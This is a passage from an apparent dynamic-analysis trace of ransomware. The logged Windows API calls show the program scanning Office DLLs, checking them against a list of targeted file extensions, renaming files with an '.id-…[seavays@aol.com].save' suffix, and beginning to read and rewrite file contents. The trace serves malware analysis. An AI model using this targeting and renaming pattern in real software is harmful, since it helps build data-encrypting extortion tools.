(lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0071.948] lstrlenW (lpString=".1cd") returned 4 [0071.948] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0071.948] lstrlenW (lpString=".jpg") returned 4 [0071.948] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0071.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0071.948] lstrlenW (lpString=".doc") returned 4 [0071.948] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.948] lstrlenW (lpString=".docx") returned 5 [0071.948] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0071.948] lstrlenW (lpString=".pdf") returned 4 [0071.948] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.948] lstrlenW (lpString=".xls") returned 4 [0071.948] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.948] lstrlenW (lpString=".xlsx") returned 5 [0071.948] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0071.948] lstrlenW (lpString=".ppt") returned 4 [0071.948] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0071.948] lstrlenW (lpString=".zip") returned 4 [0071.948] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.948] lstrlenW (lpString=".rar") returned 4 [0071.949] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.949] lstrlenW (lpString=".bz2") returned 4 [0071.949] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.949] lstrlenW (lpString=".7z") returned 3 [0071.949] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0071.949] lstrlenW (lpString=".dbf") returned 4 [0071.949] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0071.949] lstrlenW (lpString=".1cd") returned 4 [0071.949] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0071.949] lstrlenW (lpString=".jpg") returned 4 [0071.949] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.949] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0071.949] lstrlenW (lpString="mso30win32client.dll") returned 20 [0071.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0071.950] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=4677216) returned 1 [0071.950] CloseHandle (hObject=0x384) returned 1 [0071.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20 [0071.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0071.950] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[seavays@aol.com].save")) returned 1 [0071.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0071.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0071.951] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[seavays@aol.com].save"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1 [0071.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0071.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0071.952] lstrlenW (lpString=".doc") returned 4 [0071.952] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.952] lstrlenW (lpString=".docx") returned 5 [0071.952] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0071.952] lstrlenW (lpString=".pdf") returned 4 [0071.952] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.952] lstrlenW (lpString=".xls") returned 4 [0071.952] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.952] lstrlenW (lpString=".xlsx") returned 5 [0071.952] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0071.952] lstrlenW (lpString=".ppt") returned 4 [0071.952] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0071.952] lstrlenW (lpString=".zip") returned 4 [0071.952] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.953] lstrlenW (lpString=".rar") returned 4 [0071.953] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.953] lstrlenW (lpString=".bz2") returned 4 [0071.953] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.953] lstrlenW (lpString=".7z") returned 3 [0071.953] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0071.953] lstrlenW (lpString=".dbf") returned 4 [0071.953] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0071.953] lstrlenW (lpString=".1cd") returned 4 [0071.953] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0071.953] lstrlenW (lpString=".jpg") returned 4 [0071.953] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0071.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0071.953] lstrlenW (lpString=".doc") returned 4 [0071.953] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.953] lstrlenW (lpString=".docx") returned 5 [0071.953] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0071.953] lstrlenW (lpString=".pdf") returned 4 [0071.953] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.953] lstrlenW (lpString=".xls") returned 4 [0071.953] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.953] lstrlenW (lpString=".xlsx") returned 5 [0071.953] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0071.954] lstrlenW (lpString=".ppt") returned 4 [0071.954] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0071.954] lstrlenW (lpString=".zip") returned 4 [0071.954] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.954] lstrlenW (lpString=".rar") returned 4 [0071.954] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.954] lstrlenW (lpString=".bz2") returned 4 [0071.954] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.954] lstrlenW (lpString=".7z") returned 3 [0071.954] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0071.954] lstrlenW (lpString=".dbf") returned 4 [0071.954] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0071.954] lstrlenW (lpString=".1cd") returned 4 [0071.954] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0071.954] lstrlenW (lpString=".jpg") returned 4 [0071.954] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.954] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0071.954] lstrlenW (lpString="mso40uires.dll") returned 14 [0071.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0071.955] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=3177152) returned 1 [0071.955] CloseHandle (hObject=0x384) returned 1 [0071.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20 [0071.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0071.955] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[seavays@aol.com].save")) returned 1 [0071.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0071.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0071.956] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[seavays@aol.com].save"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1 [0071.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0071.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0071.957] lstrlenW (lpString=".doc") returned 4 [0071.957] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.957] lstrlenW (lpString=".docx") returned 5 [0071.957] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0071.957] lstrlenW (lpString=".pdf") returned 4 [0071.957] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.957] lstrlenW (lpString=".xls") returned 4 [0071.957] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.957] lstrlenW (lpString=".xlsx") returned 5 [0071.957] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0071.957] lstrlenW (lpString=".ppt") returned 4 [0071.957] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0071.957] lstrlenW (lpString=".zip") returned 4 [0071.957] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.957] lstrlenW (lpString=".rar") returned 4 [0071.958] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.958] lstrlenW (lpString=".bz2") returned 4 [0071.958] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.958] lstrlenW (lpString=".7z") returned 3 [0071.958] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0071.958] lstrlenW (lpString=".dbf") returned 4 [0071.958] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0071.958] lstrlenW (lpString=".1cd") returned 4 [0071.958] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0071.958] lstrlenW (lpString=".jpg") returned 4 [0071.958] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0071.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0071.958] lstrlenW (lpString=".doc") returned 4 [0071.958] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.958] lstrlenW (lpString=".docx") returned 5 [0071.958] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0071.958] lstrlenW (lpString=".pdf") returned 4 [0071.958] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.958] lstrlenW (lpString=".xls") returned 4 [0071.958] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.958] lstrlenW (lpString=".xlsx") returned 5 [0071.958] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0071.958] lstrlenW (lpString=".ppt") returned 4 [0071.959] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0071.959] lstrlenW (lpString=".zip") returned 4 [0071.959] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.959] lstrlenW (lpString=".rar") returned 4 [0071.959] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.959] lstrlenW (lpString=".bz2") returned 4 [0071.959] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.959] lstrlenW (lpString=".7z") returned 3 [0071.959] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0071.959] lstrlenW (lpString=".dbf") returned 4 [0071.959] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0071.959] lstrlenW (lpString=".1cd") returned 4 [0071.959] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0071.959] lstrlenW (lpString=".jpg") returned 4 [0071.959] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.959] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0071.959] lstrlenW (lpString="mso40uiwin32client.dll") returned 22 [0071.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0071.960] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=9330784) returned 1 [0071.960] CloseHandle (hObject=0x384) returned 1 [0071.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20 [0071.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0071.960] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[seavays@aol.com].save")) returned 1 [0071.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0071.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0071.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[seavays@aol.com].save"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1 [0071.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0071.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0071.962] lstrlenW (lpString=".doc") returned 4 [0071.962] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.962] lstrlenW (lpString=".docx") returned 5 [0071.962] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0071.962] lstrlenW (lpString=".pdf") returned 4 [0071.962] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.962] lstrlenW (lpString=".xls") returned 4 [0071.962] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.962] lstrlenW (lpString=".xlsx") returned 5 [0071.962] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0071.962] lstrlenW (lpString=".ppt") returned 4 [0071.962] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0071.962] lstrlenW (lpString=".zip") returned 4 [0071.962] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.962] lstrlenW (lpString=".rar") returned 4 [0071.962] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.962] lstrlenW (lpString=".bz2") returned 4 [0071.962] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.962] lstrlenW (lpString=".7z") returned 3 [0071.962] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0071.963] lstrlenW (lpString=".dbf") returned 4 [0071.963] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0071.963] lstrlenW (lpString=".1cd") returned 4 [0071.963] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0071.963] lstrlenW (lpString=".jpg") returned 4 [0071.963] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0071.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0071.963] lstrlenW (lpString=".doc") returned 4 [0071.963] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.963] lstrlenW (lpString=".docx") returned 5 [0071.963] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0071.963] lstrlenW (lpString=".pdf") returned 4 [0071.963] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.963] lstrlenW (lpString=".xls") returned 4 [0071.963] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.963] lstrlenW (lpString=".xlsx") returned 5 [0071.963] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0071.963] lstrlenW (lpString=".ppt") returned 4 [0071.963] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0071.963] lstrlenW (lpString=".zip") returned 4 [0071.963] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.963] lstrlenW (lpString=".rar") returned 4 [0071.963] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.964] lstrlenW (lpString=".bz2") returned 4 [0071.964] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.964] lstrlenW (lpString=".7z") returned 3 [0071.964] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0071.964] lstrlenW (lpString=".dbf") returned 4 [0071.964] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0071.964] lstrlenW (lpString=".1cd") returned 4 [0071.964] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0071.964] lstrlenW (lpString=".jpg") returned 4 [0071.964] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.964] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0071.964] lstrlenW (lpString="msointl30.en-us.dll") returned 19 [0071.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0071.965] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=61024) returned 1 [0071.965] CloseHandle (hObject=0x384) returned 1 [0071.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20 [0071.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0072.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0072.363] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.363] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0073.420] GetLastError () returned 0x0 [0073.420] ReadFile (in: hFile=0x37c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0xee60, lpOverlapped=0x0) returned 1 [0073.423] WriteFile (in: hFile=0x370, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xee70, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xee70, lpOverlapped=0x0) returned 1 [0073.425] ReadFile (in: hFile=0x37c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: 